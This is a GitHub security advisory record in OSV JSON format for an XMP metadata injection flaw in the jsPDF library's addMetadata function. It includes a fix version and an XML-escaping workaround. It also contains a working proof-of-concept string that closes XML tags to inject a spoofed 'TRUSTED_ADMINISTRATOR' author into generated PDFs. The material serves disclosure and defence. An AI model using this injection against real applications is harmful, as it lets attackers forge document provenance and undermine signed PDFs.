{"id":"GHSA-vm32-vv63-w422","summary":"jsPDF Vulnerable to Stored XMP Metadata Injection (Spoofing & Integrity Violation)","details":"### Impact\n\nUser control of the first argument of the `addMetadata` function allows users to inject arbitrary XML.\n\nIf given the possibility to pass unsanitized input to the `addMetadata` method, a user can inject arbitrary XMP metadata into the generated PDF. If the generated PDF is signed, stored or otherwise processed after, the integrity of the PDF can no longer be guaranteed.\n\nExample attack vector:\n\n```js\nimport { jsPDF } from \"jspdf\"\n\nconst doc = new jsPDF()\n\n// Input a string that closes the current XML tag and opens a new one.\n// We are injecting a fake \"dc:creator\" (Author) to spoof the document source.\nconst maliciousInput = '\u003c/jspdf:metadata\u003e\u003c/rdf:Description\u003e' +\n    '\u003crdf:Description xmlns:dc=\"http://purl.org/dc/elements/1.1/\"\u003e' +\n    '\u003cdc:creator\u003eTRUSTED_ADMINISTRATOR\u003c/dc:creator\u003e' + // \u003c--- Spoofed Identity\n    '\u003c/rdf:Description\u003e' +\n    '\u003crdf:Description\u003e\u003cjspdf:metadata\u003e'\n\n// The application innocently adds the user's input to the metadata\ndoc.addMetadata(maliciousInput, \"http://valid.namespace\")\n\ndoc.save(\"test.pdf\")\n```\n\n### Patches\n\nThe vulnerability has been fixed in jsPDF@4.1.0\n\n### Workarounds\n\nSanitize user input before passing it to the `addMetadata` method: escape XML entities. For example:\n\n```js\nlet input = \"...\"\n\ninput = input\n    .replace(/&/g, \"&amp;\")\n    .replace(/\u003c/g, \"&lt;\")\n    .replace(/\u003e/g, \"&gt;\")\n    .replace(/\"/g, \"&quot;\")\n    .replace(/'/g, \"&apos;\")\n\ndoc.addMetadata(input)\n```","aliases":["CVE-2026-24043"],"modified":"2026-09-10T03:50:35.866172057Z","published":"2026-02-02T18:28:29Z","database_specific":{"github_reviewed_at":"2026-02-02T18:28:29Z","nvd_published_at":"2026-02-02T23:16:07Z","cwe_ids":["CWE-20","CWE-74"],"severity":"MODERATE","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/parallax/jsPDF/security/advisories/GHSA-vm32-vv63-w422"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-24043"},{"type":"WEB","url":"https://github.com/parallax/jsPDF/commit/efe54bf50f3f5e5416b2495e3c24624fc80b6cff"},{"type":"PACKAGE","url":"https://github.com/parallax/jsPDF"},{"type":"WEB","url":"https://github.com/parallax/jsPDF/releases/tag/v4.1.0"}],"affected":[{"package":{"name":"jspdf","ecosystem":"npm","purl":"pkg:npm/jspdf"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"4.1.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-vm32-vv63-w422/GHSA-vm32-vv63-w422.json","last_known_affected_version_range":"\u003c= 4.0.0"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N"}]}